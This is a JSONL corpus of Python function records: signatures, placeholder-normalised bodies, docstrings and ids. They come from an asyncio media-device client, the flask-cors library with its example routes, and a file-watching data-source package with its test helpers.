{"signature": "@asyncio.coroutine<EOL><INDENT>def rewind(self):<DEDENT>", "body": "return (yield from self.play_control(<NUM_LIT:4>))<EOL>", "docstring": "Previous media.", "id": "f13081:c0:m36"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def get_equalisers(self):<DEDENT>", "body": "if not self.__equalisers:<EOL><INDENT>self.__equalisers = yield from self.handle_list(<EOL>self.API.get('<STR_LIT>'))<EOL><DEDENT>return self.__equalisers<EOL>", "docstring": "Get the equaliser modes supported by this device.", "id": "f13081:c0:m37"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def get_equaliser_list(self):<DEDENT>", "body": "self.__equalisers = yield from self.get_equalisers()<EOL>return (yield from self.collect_labels(self.__equalisers))<EOL>", "docstring": "Get the label list of the supported modes.", "id": "f13081:c0:m38"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def get_sleep(self):<DEDENT>", "body": "return (yield from self.handle_long(self.API.get('<STR_LIT>')))<EOL>", "docstring": "Check when and if the device is going to sleep.", "id": "f13081:c0:m39"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def set_sleep(self, value=False):<DEDENT>", "body": "return (yield from self.handle_set(self.API.get('<STR_LIT>'), int(value)))<EOL>", "docstring": "Set device sleep timer.", "id": "f13081:c0:m40"}
{"signature": "def shortDescription(self):", "body": "doc = self.id()[self.id().rfind('<STR_LIT:.>')+<NUM_LIT:1>:]<EOL>return \"<STR_LIT>\".format(self.__class__.__name__, doc)<EOL>", "docstring": "Get's the one liner description to be displayed.\nSource:\nhttp://erikzaadi.com/2012/09/13/inheritance-within-python-unit-tests/", "id": "f13084:c0:m0"}
{"signature": "def iter_verbs(self, c):", "body": "for verb in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>yield getattr(c, verb)<EOL><DEDENT>", "docstring": "A simple helper method to iterate through a range of\n            HTTP Verbs and return the test_client bound instance,\n            keeping writing our tests as DRY as possible.", "id": "f13084:c0:m1"}
{"signature": "def cross_origin(*args, **kwargs):", "body": "_options = kwargs<EOL>def decorator(f):<EOL><INDENT>LOG.debug(\"<STR_LIT>\", f, _options)<EOL>if _options.get('<STR_LIT>', True):<EOL><INDENT>f.required_methods = getattr(f, '<STR_LIT>', set())<EOL>f.required_methods.add('<STR_LIT>')<EOL>f.provide_automatic_options = False<EOL><DEDENT>def wrapped_function(*args, **kwargs):<EOL><INDENT>options = get_cors_options(current_app, _options)<EOL>if options.get('<STR_LIT>') and request.method == '<STR_LIT>':<EOL><INDENT>resp = current_app.make_default_options_response()<EOL><DEDENT>else:<EOL><INDENT>resp = make_response(f(*args, **kwargs))<EOL><DEDENT>set_cors_headers(resp, options)<EOL>setattr(resp, FLASK_CORS_EVALUATED, True)<EOL>return resp<EOL><DEDENT>return update_wrapper(wrapped_function, f)<EOL><DEDENT>return decorator<EOL>", "docstring": "This function is the decorator which is used to wrap a Flask route with.\nIn the simplest case, simply use the default parameters to allow all\norigins in what is the most permissive configuration. If this method\nmodifies state or performs authentication which may be brute-forced, you\nshould add some degree of protection, such as Cross Site Forgery\nRequest protection.\n\n:param origins:\n    The origin, or list of origins to allow requests from.\n    The origin(s) may be regular expressions, case-sensitive strings,\n    or else an asterisk\n\n    Default : '*'\n:type origins: list, string or regex\n\n:param methods:\n    The method or list of methods which the allowed origins are allowed to\n    access for non-simple requests.\n\n    Default : [GET, HEAD, POST, OPTIONS, PUT, PATCH, DELETE]\n:type methods: list or string\n\n:param expose_headers:\n    The header or list which are safe to expose to the API of a CORS API\n    specification.\n\n    Default : None\n:type expose_headers: list or string\n\n:param allow_headers:\n    The header or list of header field names which can be used when this\n    resource is accessed by allowed origins. The header(s) may be regular\n    expressions, case-sensitive strings, or else an asterisk.\n\n    Default : '*', allow all headers\n:type allow_headers: list, string or regex\n\n:param supports_credentials:\n    Allows users to make authenticated requests. If true, injects the\n    `Access-Control-Allow-Credentials` header in responses. This allows\n    cookies and credentials to be submitted across domains.\n\n    :note: This option cannot be used in conjuction with a '*' origin\n\n    Default : False\n:type supports_credentials: bool\n\n:param max_age:\n    The maximum time for which this CORS request maybe cached. This value\n    is set as the `Access-Control-Max-Age` header.\n\n    Default : None\n:type max_age: timedelta, integer, string or None\n\n:param send_wildcard: If True, and the origins parameter is `*`, a wildcard\n    `Access-Control-Allow-Origin` header is sent, rather than the\n    request's `Origin` header.\n\n    Default : False\n:type send_wildcard: bool\n\n:param vary_header:\n    If True, the header Vary: Origin will be returned as per the W3\n    implementation guidelines.\n\n    Setting this header when the `Access-Control-Allow-Origin` is\n    dynamically generated (e.g. when there is more than one allowed\n    origin, and an Origin than '*' is returned) informs CDNs and other\n    caches that the CORS headers are dynamic, and cannot be cached.\n\n    If False, the Vary header will never be injected or altered.\n\n    Default : True\n:type vary_header: bool\n\n:param automatic_options:\n    Only applies to the `cross_origin` decorator. If True, Flask-CORS will\n    override Flask's default OPTIONS handling to return CORS headers for\n    OPTIONS requests.\n\n    Default : True\n:type automatic_options: bool", "id": "f13102:m0"}
{"signature": "def get_regexp_pattern(regexp):", "body": "try:<EOL><INDENT>return regexp.pattern<EOL><DEDENT>except AttributeError:<EOL><INDENT>return str(regexp)<EOL><DEDENT>", "docstring": "Helper that returns regexp pattern from given value.\n\n:param regexp: regular expression to stringify\n:type regexp: _sre.SRE_Pattern or str\n:returns: string representation of given regexp pattern\n:rtype: str", "id": "f13104:m1"}
{"signature": "def set_cors_headers(resp, options):", "body": "<EOL>if hasattr(resp, FLASK_CORS_EVALUATED):<EOL><INDENT>LOG.debug('<STR_LIT>')<EOL>return resp<EOL><DEDENT>if (not isinstance(resp.headers, Headers)<EOL>and not isinstance(resp.headers, MultiDict)):<EOL><INDENT>resp.headers = MultiDict(resp.headers)<EOL><DEDENT>headers_to_set = get_cors_headers(options, request.headers, request.method)<EOL>LOG.debug('<STR_LIT>', str(headers_to_set))<EOL>for k, v in headers_to_set.items():<EOL><INDENT>resp.headers.add(k, v)<EOL><DEDENT>return resp<EOL>", "docstring": "Performs the actual evaluation of Flas-CORS options and actually\nmodifies the response object.\n\nThis function is used both in the decorator and the after_request\ncallback", "id": "f13104:m5"}
{"signature": "def re_fix(reg):", "body": "return r'<STR_LIT>' if reg == r'<STR_LIT:*>' else reg<EOL>", "docstring": "Replace the invalid regex r'*' with the valid, wildcard regex r'/.*' to\nenable the CORS app extension to have a more user friendly api.", "id": "f13104:m7"}
{"signature": "def try_match(request_origin, maybe_regex):", "body": "if isinstance(maybe_regex, RegexObject):<EOL><INDENT>return re.match(maybe_regex, request_origin)<EOL><DEDENT>elif probably_regex(maybe_regex):<EOL><INDENT>return re.match(maybe_regex, request_origin, flags=re.IGNORECASE)<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>return request_origin.lower() == maybe_regex.lower()<EOL><DEDENT>except AttributeError:<EOL><INDENT>return request_origin == maybe_regex<EOL><DEDENT><DEDENT>", "docstring": "Safely attempts to match a pattern or string to a request origin.", "id": "f13104:m9"}
{"signature": "def get_cors_options(appInstance, *dicts):", "body": "options = DEFAULT_OPTIONS.copy()<EOL>options.update(get_app_kwarg_dict(appInstance))<EOL>if dicts:<EOL><INDENT>for d in dicts:<EOL><INDENT>options.update(d)<EOL><DEDENT><DEDENT>return serialize_options(options)<EOL>", "docstring": "Compute CORS options for an application by combining the DEFAULT_OPTIONS,\nthe app's configuration-specified options and any dictionaries passed. The\nlast specified option wins.", "id": "f13104:m10"}
{"signature": "def get_app_kwarg_dict(appInstance=None):", "body": "app = (appInstance or current_app)<EOL>app_config = getattr(app, '<STR_LIT>', {})<EOL>return {<EOL>k.lower().replace('<STR_LIT>', '<STR_LIT>'): app_config.get(k)<EOL>for k in CONFIG_OPTIONS<EOL>if app_config.get(k) is not None<EOL>}<EOL>", "docstring": "Returns the dictionary of CORS specific app configurations.", "id": "f13104:m11"}
{"signature": "def flexible_str(obj):", "body": "if obj is None:<EOL><INDENT>return None<EOL><DEDENT>elif(not isinstance(obj, string_types)<EOL>and isinstance(obj, collections.Iterable)):<EOL><INDENT>return '<STR_LIT:U+002CU+0020>'.join(str(item) for item in sorted(obj))<EOL><DEDENT>else:<EOL><INDENT>return str(obj)<EOL><DEDENT>", "docstring": "A more flexible str function which intelligently handles stringifying\nstrings, lists and other iterables. The results are lexographically sorted\nto ensure generated responses are consistent when iterables such as Set\nare used.", "id": "f13104:m12"}
{"signature": "def ensure_iterable(inst):", "body": "if isinstance(inst, string_types):<EOL><INDENT>return [inst]<EOL><DEDENT>elif not isinstance(inst, collections.Iterable):<EOL><INDENT>return [inst]<EOL><DEDENT>else:<EOL><INDENT>return inst<EOL><DEDENT>", "docstring": "Wraps scalars or string types as a list, or returns the iterable instance.", "id": "f13104:m14"}
{"signature": "def serialize_options(opts):", "body": "options = (opts or {}).copy()<EOL>for key in opts.keys():<EOL><INDENT>if key not in DEFAULT_OPTIONS:<EOL><INDENT>LOG.warning(\"<STR_LIT>\", key)<EOL><DEDENT><DEDENT>options['<STR_LIT>'] = sanitize_regex_param(options.get('<STR_LIT>'))<EOL>options['<STR_LIT>'] = sanitize_regex_param(options.get('<STR_LIT>'))<EOL>if r'<STR_LIT>' in options['<STR_LIT>'] and options['<STR_LIT>'] and options['<STR_LIT>']:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>serialize_option(options, '<STR_LIT>')<EOL>serialize_option(options, '<STR_LIT>', upper=True)<EOL>if isinstance(options.get('<STR_LIT>'), timedelta):<EOL><INDENT>options['<STR_LIT>'] = str(int(options['<STR_LIT>'].total_seconds()))<EOL><DEDENT>return options<EOL>", "docstring": "A helper method to serialize and processes the options dictionary.", "id": "f13104:m16"}
{"signature": "@app.route(\"<STR_LIT:/>\", methods=['<STR_LIT:GET>'])<EOL>@cross_origin()<EOL>def helloWorld():", "body": "return '''<STR_LIT>'''<EOL>", "docstring": "This view has CORS enabled for all domains, representing the simplest\nconfiguration of view-based decoration. The expected result is as\nfollows:\n\n$ curl --include -X GET http://127.0.0.1:5000/ \\\n    --header Origin:www.examplesite.com\n\n>> HTTP/1.0 200 OK\nContent-Type: text/html; charset=utf-8\nContent-Length: 184\nAccess-Control-Allow-Origin: *\nServer: Werkzeug/0.9.6 Python/2.7.9\nDate: Sat, 31 Jan 2015 22:29:56 GMT\n\n<h1>Hello CORS!</h1> Read about my spec at the\n<a href=\"http://www.w3.org/TR/cors/\">W3</a> Or, checkout my documentation\non <a href=\"https://github.com/corydolphin/flask-cors\">Github</a>", "id": "f13106:m0"}
{"signature": "@app.route(\"<STR_LIT>\", methods=['<STR_LIT:GET>', '<STR_LIT:POST>'])<EOL>@cross_origin(allow_headers=['<STR_LIT:Content-Type>'])<EOL>def cross_origin_json_post():", "body": "return jsonify(success=True)<EOL>", "docstring": "This view has CORS enabled for all domains, and allows browsers\n       to send the Content-Type header, allowing cross domain AJAX POST\n       requests.\n\nBrowsers will first make a preflight request to verify that the resource\n       allows cross-origin POSTs with a JSON Content-Type, which can be simulated\n       as:\n       $ curl --include -X OPTIONS http://127.0.0.1:5000/api/v1/users/create \\\n           --header Access-Control-Request-Method:POST \\\n           --header Access-Control-Request-Headers:Content-Type \\\n           --header Origin:www.examplesite.com\n       >> HTTP/1.0 200 OK\n       Content-Type: text/html; charset=utf-8\n       Allow: POST, OPTIONS\n       Access-Control-Allow-Origin: *\n       Access-Control-Allow-Headers: Content-Type\n       Access-Control-Allow-Methods: DELETE, GET, HEAD, OPTIONS, PATCH, POST, PUT\n       Content-Length: 0\n       Server: Werkzeug/0.9.6 Python/2.7.9\n       Date: Sat, 31 Jan 2015 22:25:22 GMT\n\n\n       $ curl --include -X POST http://127.0.0.1:5000/api/v1/users/create \\\n           --header Content-Type:application/json \\\n           --header Origin:www.examplesite.com\n\n\n       >> HTTP/1.0 200 OK\n       Content-Type: application/json\n       Content-Length: 21\n       Access-Control-Allow-Origin: *\n       Server: Werkzeug/0.9.6 Python/2.7.9\n       Date: Sat, 31 Jan 2015 22:25:04 GMT\n\n       {\n         \"success\": true\n       }", "id": "f13106:m1"}
{"signature": "@app.route(\"<STR_LIT:/>\")<EOL>def helloWorld():", "body": "return", "docstring": "Since the path '/' does not match the regular expression r'/api/*',\nthis route does not have CORS headers set.", "id": "f13107:m0"}
{"signature": "@app.route(\"<STR_LIT>\")<EOL>def list_users():", "body": "return jsonify(user=\"<STR_LIT>\")<EOL>", "docstring": "Since the path matches the regular expression r'/api/*', this resource\nautomatically has CORS headers set. The expected result is as follows:\n\n$ curl --include -X GET http://127.0.0.1:5000/api/v1/users/ \\\n    --header Origin:www.examplesite.com\nHTTP/1.0 200 OK\nAccess-Control-Allow-Headers: Content-Type\nAccess-Control-Allow-Origin: *\nContent-Length: 21\nContent-Type: application/json\nDate: Sat, 09 Aug 2014 00:26:41 GMT\nServer: Werkzeug/0.9.4 Python/2.7.8\n\n{\n    \"success\": true\n}", "id": "f13107:m1"}
{"signature": "@app.route(\"<STR_LIT>\", methods=['<STR_LIT:POST>'])<EOL>def create_user():", "body": "return jsonify(success=True)<EOL>", "docstring": "Since the path matches the regular expression r'/api/*', this resource\nautomatically has CORS headers set.\n\nBrowsers will first make a preflight request to verify that the resource\nallows cross-origin POSTs with a JSON Content-Type, which can be simulated\nas:\n$ curl --include -X OPTIONS http://127.0.0.1:5000/api/v1/users/create \\\n    --header Access-Control-Request-Method:POST \\\n    --header Access-Control-Request-Headers:Content-Type \\\n    --header Origin:www.examplesite.com\n>> HTTP/1.0 200 OK\nContent-Type: text/html; charset=utf-8\nAllow: POST, OPTIONS\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Headers: Content-Type\nAccess-Control-Allow-Methods: DELETE, GET, HEAD, OPTIONS, PATCH, POST, PUT\nContent-Length: 0\nServer: Werkzeug/0.9.6 Python/2.7.9\nDate: Sat, 31 Jan 2015 22:25:22 GMT\n\n\n$ curl --include -X POST http://127.0.0.1:5000/api/v1/users/create \\\n    --header Content-Type:application/json \\\n    --header Origin:www.examplesite.com\n\n\n>> HTTP/1.0 200 OK\nContent-Type: application/json\nContent-Length: 21\nAccess-Control-Allow-Origin: *\nServer: Werkzeug/0.9.6 Python/2.7.9\nDate: Sat, 31 Jan 2015 22:25:04 GMT\n\n{\n  \"success\": true\n}", "id": "f13107:m2"}
{"signature": "@app.route(\"<STR_LIT>\")<EOL>def get_exception():", "body": "raise Exception(\"<STR_LIT>\")<EOL>", "docstring": "Since the path matches the regular expression r'/api/*', this resource\nautomatically has CORS headers set.\n\nBrowsers will first make a preflight request to verify that the resource\nallows cross-origin POSTs with a JSON Content-Type, which can be simulated\nas:\n$ curl --include -X OPTIONS http://127.0.0.1:5000/exception \\\n    --header Access-Control-Request-Method:POST \\\n    --header Access-Control-Request-Headers:Content-Type \\\n    --header Origin:www.examplesite.com\n>> HTTP/1.0 200 OK\nContent-Type: text/html; charset=utf-8\nAllow: POST, OPTIONS\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Headers: Content-Type\nAccess-Control-Allow-Methods: DELETE, GET, HEAD, OPTIONS, PATCH, POST, PUT\nContent-Length: 0\nServer: Werkzeug/0.9.6 Python/2.7.9\nDate: Sat, 31 Jan 2015 22:25:22 GMT", "id": "f13107:m3"}
{"signature": "@api_v1.route(\"<STR_LIT>\")<EOL>def list_users():", "body": "return jsonify(user=\"<STR_LIT>\")<EOL>", "docstring": "Since the path matches the regular expression r'/api/*', this resource\nautomatically has CORS headers set. The expected result is as follows:\n\n$ curl --include -X GET http://127.0.0.1:5000/api/v1/users/ \\\n    --header Origin:www.examplesite.com\nHTTP/1.0 200 OK\nAccess-Control-Allow-Headers: Content-Type\nAccess-Control-Allow-Origin: *\nContent-Length: 21\nContent-Type: application/json\nDate: Sat, 09 Aug 2014 00:26:41 GMT\nServer: Werkzeug/0.9.4 Python/2.7.8\n\n{\n    \"success\": true\n}", "id": "f13108:m0"}
{"signature": "@api_v1.route(\"<STR_LIT>\", methods=['<STR_LIT:POST>'])<EOL>def create_user():", "body": "return jsonify(success=True)<EOL>", "docstring": "Since the path matches the regular expression r'/api/*', this resource\nautomatically has CORS headers set.\n\nBrowsers will first make a preflight request to verify that the resource\nallows cross-origin POSTs with a JSON Content-Type, which can be simulated\nas:\n$ curl --include -X OPTIONS http://127.0.0.1:5000/api/v1/users/create \\\n    --header Access-Control-Request-Method:POST \\\n    --header Access-Control-Request-Headers:Content-Type \\\n    --header Origin:www.examplesite.com\n>> HTTP/1.0 200 OK\nContent-Type: text/html; charset=utf-8\nAllow: POST, OPTIONS\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Headers: Content-Type\nAccess-Control-Allow-Methods: DELETE, GET, HEAD, OPTIONS, PATCH, POST, PUT\nContent-Length: 0\nServer: Werkzeug/0.9.6 Python/2.7.9\nDate: Sat, 31 Jan 2015 22:25:22 GMT\n\n\n$ curl --include -X POST http://127.0.0.1:5000/api/v1/users/create \\\n    --header Content-Type:application/json \\\n    --header Origin:www.examplesite.com\n\n\n>> HTTP/1.0 200 OK\nContent-Type: application/json\nContent-Length: 21\nAccess-Control-Allow-Origin: *\nServer: Werkzeug/0.9.6 Python/2.7.9\nDate: Sat, 31 Jan 2015 22:25:04 GMT\n\n{\n  \"success\": true\n}", "id": "f13108:m1"}
{"signature": "@public_routes.route(\"<STR_LIT:/>\")<EOL>def helloWorld():", "body": "return '''<STR_LIT>'''<EOL>", "docstring": "Since the path '/' does not match the regular expression r'/api/*',\nthis route does not have CORS headers set.", "id": "f13108:m2"}
{"signature": "def write_data_to_files_in_temp_directory(data: List[Any], spread_over_n_files: int, separator: str='<STR_LIT:\\n>', dir: str=None,<EOL>file_prefix=\"<STR_LIT>\") -> str:", "body": "if dir is None:<EOL><INDENT>dir = mkdtemp(suffix=write_data_to_files_in_temp_directory.__name__)<EOL><DEDENT>datum_per_file = ceil(len(data) / spread_over_n_files)<EOL>for i in range(spread_over_n_files):<EOL><INDENT>start_at = i * datum_per_file<EOL>end_at = start_at + datum_per_file<EOL>to_write = separator.join([str(x) for x in data[start_at:end_at]])<EOL>write_to_temp_file(dir, to_write, file_prefix=file_prefix)<EOL><DEDENT>return dir<EOL>", "docstring": "Writes the given data over the given number of files in a temporary directory.\n:param data: the data that is to be written to the files\n:param spread_over_n_files: the number of files in which the data is to be spread over\n:param separator: the separator between data items in each file\n:param dir: the specific temp directory to use\n:param file_prefix: prefix to the files created\n:return: the location of the temp directory", "id": "f13111:m0"}
{"signature": "def write_to_temp_file(dir: str, contents: str, file_prefix=\"<STR_LIT>\") -> str:", "body": "temp_temp_file_location = mkstemp(dir=dir, prefix=file_prefix)[<NUM_LIT:1>]<EOL>destination = os.path.join(dir, os.path.basename(temp_temp_file_location))<EOL>with open(temp_temp_file_location, '<STR_LIT:w>') as file:<EOL><INDENT>file.write(contents)<EOL><DEDENT>os.rename(temp_temp_file_location, destination)<EOL>return destination<EOL>", "docstring": "Writes the given contents to a temp file, with the given name prefix, within the given directory.\n:param dir: the directory to place the temp file in\n:param contents: the contents of the temp file\n:param file_prefix: (optional) name prefix of the temp file\n:return: the path to the created temp file", "id": "f13111:m1"}
{"signature": "def extract_data_from_file(file_location: str, parser: Callable[[str], Any]=lambda data: data, separator: str=None)-> List[Any]:", "body": "with open(file_location, '<STR_LIT:r>') as file:<EOL><INDENT>contents = file.read()<EOL><DEDENT>if separator is not None:<EOL><INDENT>raw_data = contents.split(separator)<EOL><DEDENT>else:<EOL><INDENT>raw_data = [contents]<EOL><DEDENT>extracted = []<EOL>for item in raw_data:<EOL><INDENT>parsed = parser(item)<EOL>extracted.append(parsed)<EOL><DEDENT>return extracted<EOL>", "docstring": "Extracts data from the file at the given location, using the given parser.\n:param file_location: the location of the file to read data from\n:param parser: the parser to extract data from the file\n:param separator: (optional) separator for data in the file\n:return: the extracted data", "id": "f13111:m2"}
{"signature": "def block_until_synchronised_files_data_source_started(source: SynchronisedFilesDataSource):", "body": "blocked = True<EOL>def unblock(*args):<EOL><INDENT>nonlocal blocked<EOL>blocked = False<EOL><DEDENT>event_handler = FileSystemEventHandler()<EOL>event_handler.on_modified = unblock<EOL>source._observer.schedule(event_handler, source._directory_location, recursive=True)<EOL>temp_file_name = \"<STR_LIT>\" % block_until_synchronised_files_data_source_started.__name__<EOL>temp_file_path = os.path.join(source._directory_location, temp_file_name)<EOL>i = <NUM_LIT:0><EOL>while blocked:<EOL><INDENT>with open(temp_file_path, '<STR_LIT:a>') as file:<EOL><INDENT>file.write(str(i))<EOL><DEDENT>sleep(<NUM_LIT:10> / <NUM_LIT:1000>)<EOL>i += <NUM_LIT:1><EOL><DEDENT>", "docstring": "Blocks until the given synchronised files data source has started to notice changes in the file system (may be a few\nmilliseconds after it has been started).\n:param source: the synchronised files data source that has been started", "id": "f13113:m0"}
{"signature": "def _add_more_data_in_nested_directory(self, number_of_extra_files: int=<NUM_LIT:1>) -> Tuple[str, List[int]]:", "body": "nested_directory_path = os.path.join(self.temp_directory, \"<STR_LIT>\")<EOL>os.makedirs(nested_directory_path)<EOL>more_data = [i for i in range(<NUM_LIT:50>)]<EOL>write_data_to_files_in_temp_directory(more_data, number_of_extra_files, dir=nested_directory_path,<EOL>file_prefix=TestSynchronisedFilesDataSource._FILE_PREFIX)<EOL>return (nested_directory_path, more_data)<EOL>", "docstring": "Adds more data in a directory nested inside the temp directory.\n:param number_of_extra_files: (optional) the number of files to put the new data in inside the nested directory\n:return: a tuple where the first value is the path to the new nested directory and the second is the new data", "id": "f13116:c1:m11"}
{"signature": "def _create_data_file_in_temp_directory(self) -> str:", "body": "temp_file_location = mkstemp()[<NUM_LIT:1>]<EOL>rule_file_location = \"<STR_LIT>\" % temp_file_location<EOL>os.rename(temp_file_location, rule_file_location)<EOL>return rule_file_location<EOL>", "docstring": "Creates a data file in the temp directory used by this test.\n:return: the file path of the created file", "id": "f13117:c1:m5"}
{"signature": "@abstractmethod<EOL><INDENT>def this_will_fail_unless(self, condition:bool) -> bool:<DEDENT>", "body": "", "docstring": "This method will raise an exception unless condition is True", "id": "f13121:c1:m0"}
{"signature": "@staticmethod<EOL><INDENT>def _add_n_mock_listeners_to_listenable(number_of_listeners_to_add: int, listenable: Listenable) -> List[MagicMock]:<DEDENT>", "body": "listeners = []<EOL>for i in range(number_of_listeners_to_add):<EOL><INDENT>listener = MagicMock()<EOL>listenable.add_listener(listener)<EOL>listeners.append(listener)<EOL><DEDENT>return listeners<EOL>", "docstring": "Adds the given number of mock listeners to the given listenable.\n:param number_of_listeners_to_add: the number of mock listeners to add\n:param listenable: the listenable to add the listeners to\n:return: the mock listeners that were added", "id": "f13125:c0:m6"}
{"signature": "def __init__(self, seq=()):", "body": "self._data = dict(seq)<EOL>self._key_locks = ThreadSafeDefaultdict(Lock)<EOL>", "docstring": "Constructor.\n:param seq: initial metadata items", "id": "f13127:c1:m0"}
{"signature": "def rename(self, key: Any, new_key: Any):", "body": "if new_key == key:<EOL><INDENT>return<EOL><DEDENT>required_locks = [self._key_locks[key], self._key_locks[new_key]]<EOL>ordered_required_locks = sorted(required_locks, key=lambda x: id(x))<EOL>for lock in ordered_required_locks:<EOL><INDENT>lock.acquire()<EOL><DEDENT>try:<EOL><INDENT>if key not in self._data:<EOL><INDENT>raise KeyError(\"<STR_LIT>\" % key)<EOL><DEDENT>self._data[new_key] = self[key]<EOL>del self._data[key]<EOL><DEDENT>finally:<EOL><INDENT>for lock in required_locks:<EOL><INDENT>lock.release()<EOL><DEDENT><DEDENT>", "docstring": "Renames an item in this collection as a transaction.\n\nWill override if new key name already exists.\n:param key: the current name of the item\n:param new_key: the new name that the item should have", "id": "f13127:c1:m1"}
{"signature": "def register(registerable: Any):", "body": "listenable = registration_event_listenable_map[type(registerable)]<EOL>event = RegistrationEvent(registerable, RegistrationEvent.Type.REGISTERED)<EOL>listenable.notify_listeners(event)<EOL>", "docstring": "Registers an object, notifying any listeners that may be interested in it.\n:param registerable: the object to register", "id": "f13128:m0"}
{"signature": "def unregister(registerable: Any):", "body": "listenable = registration_event_listenable_map[type(registerable)]<EOL>event = RegistrationEvent(registerable, RegistrationEvent.Type.UNREGISTERED)<EOL>listenable.notify_listeners(event)<EOL>", "docstring": "Unregisters an object, notifying any listeners that may be interested in it.\n:param registerable: the object to unregister", "id": "f13128:m1"}
{"signature": "def __init__(self, directory_location: str, data_type: type):", "body": "super().__init__(directory_location)<EOL>self._data_type = data_type<EOL>", "docstring": "Constructor.\n:param directory_location: the location of the directory\n:param data_type: the type of data that is loaded from files in the given directory", "id": "f13128:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def _load_module(path: str):<DEDENT>", "body": "spec = spec_from_file_location(os.path.basename(path), path)<EOL>module = module_from_spec(spec)<EOL>spec.loader.exec_module(module)<EOL>", "docstring": "Dynamically loads the python module at the given path.\n:param path: the path to load the module from", "id": "f13128:c0:m2"}
{"signature": "def __init__(self, sources: Iterable[DataSource]=()):", "body": "self.sources = copy.copy(sources)<EOL>", "docstring": "Constructor.\n:param sources: the sources of instances of `DataSourceType`", "id": "f13129:c0:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def get_all(self) -> Sequence[DataSourceType]:<DEDENT>", "body": "", "docstring": "Gets the data at the source.\n:return: instances of `DataSourceType`", "id": "f13130:c0:m0"}
{"signature": "def __init__(self, directory_location: str):", "body": "super().__init__()<EOL>self._directory_location = directory_location<EOL>", "docstring": "Default constructor.\n:param directory_location: the location of the directory that contains files holding data", "id": "f13132:c0:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def extract_data_from_file(self, file_path: str) -> Iterable[DataSourceType]:<DEDENT>", "body": "", "docstring": "Extracts data from the file at the given file path.\n:param file_path: the path to the file to extract data from\n:return: the extracted data", "id": "f13132:c0:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def is_data_file(self, file_path: str) -> bool:<DEDENT>", "body": "", "docstring": "Determines whether the file at the given path is of interest.\n:param file_path: path to the updated file\n:return: whether the file is of interest", "id": "f13132:c0:m2"}
{"signature": "def no_error_extract_data_from_file(self, file_path: str) -> Iterable[DataSourceType]:", "body": "try:<EOL><INDENT>return self.extract_data_from_file(file_path)<EOL><DEDENT>except Exception as e:<EOL><INDENT>logging.warning(e)<EOL>return []<EOL><DEDENT>", "docstring": "Proxy for `extract_data_from_file` that suppresses any errors and instead just returning an empty list.\n:param file_path: see `extract_data_from_file`\n:return: see `extract_data_from_file`", "id": "f13132:c0:m4"}
{"signature": "def _load_all_in_directory(self) -> Dict[str, Iterable[DataSourceType]]:", "body": "origin_mapped_data = dict()    <EOL>for file_path in glob.iglob(\"<STR_LIT>\" % self._directory_location, recursive=True):<EOL><INDENT>if self.is_data_file(file_path):<EOL><INDENT>origin_mapped_data[file_path] = self.no_error_extract_data_from_file(file_path)<EOL><DEDENT><DEDENT>return origin_mapped_data<EOL>", "docstring": "Loads all of the data from the files in directory location.\n:return: a origin map of all the loaded data", "id": "f13132:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def _extract_data_from_origin_map(origin_mapped_data: Dict[str, Iterable[DataSourceType]])-> Iterable[DataSourceType]:<DEDENT>", "body": "data = []<EOL>for _, data_item in origin_mapped_data.items():<EOL><INDENT>data.extend(data_item)<EOL><DEDENT>return data<EOL>", "docstring": "Extracts the data from a data origin map.\n:param origin_mapped_data: a map containing the origin of the data as the key string and the data as the value\n:return: the data contained within the map", "id": "f13132:c0:m6"}
{"signature": "def __init__(self, directory_location: str):", "body": "super().__init__(directory_location)<EOL>self._status_lock = Lock()<EOL>self._running = False<EOL>self._observer = None<EOL>self._origin_mapped_data = dict()   <EOL>self._event_handler = FileSystemEventHandler()<EOL>self._event_handler.on_created = self._on_file_created<EOL>self._event_handler.on_modified = self._on_file_modified<EOL>self._event_handler.on_deleted = self._on_file_deleted<EOL>self._event_handler.on_moved = self._on_file_moved<EOL>self._event_handler.on_any_event = SynchronisedFilesDataSource._on_any_event<EOL>", "docstring": "Default constructor.\n:param directory_location: the location of the directory that contains files holding data", "id": "f13132:c2:m0"}
{"signature": "def start(self):", "body": "with self._status_lock:<EOL><INDENT>if self._running:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>self._running = True<EOL><DEDENT>self._observer = Observer()<EOL>self._observer.schedule(self._event_handler, self._directory_location, recursive=True)<EOL>self._observer.start()<EOL>self._origin_mapped_data = self._load_all_in_directory()<EOL>", "docstring": "Monitors data kept in files in the predefined directory in a new thread.\n\nNote: Due to the underlying library, it may take a few milliseconds after this method is started for changes to\nstart to being noticed.", "id": "f13132:c2:m2"}
{"signature": "def stop(self):", "body": "with self._status_lock:<EOL><INDENT>if self._running:<EOL><INDENT>assert self._observer is not None<EOL>self._observer.stop()<EOL>self._running = False<EOL>self._origin_mapped_data = dict()<EOL><DEDENT><DEDENT>", "docstring": "Stops monitoring the predefined directory.", "id": "f13132:c2:m3"}
{"signature": "def _on_file_created(self, event: FileSystemEvent):", "body": "if not event.is_directory and self.is_data_file(event.src_path):<EOL><INDENT>assert event.src_path not in self._origin_mapped_data<EOL>self._origin_mapped_data[event.src_path] = self.no_error_extract_data_from_file(event.src_path)<EOL>self.notify_listeners(FileSystemChange.CREATE)<EOL><DEDENT>", "docstring": "Called when a file in the monitored directory has been created.\n:param event: the file system event", "id": "f13132:c2:m4"}
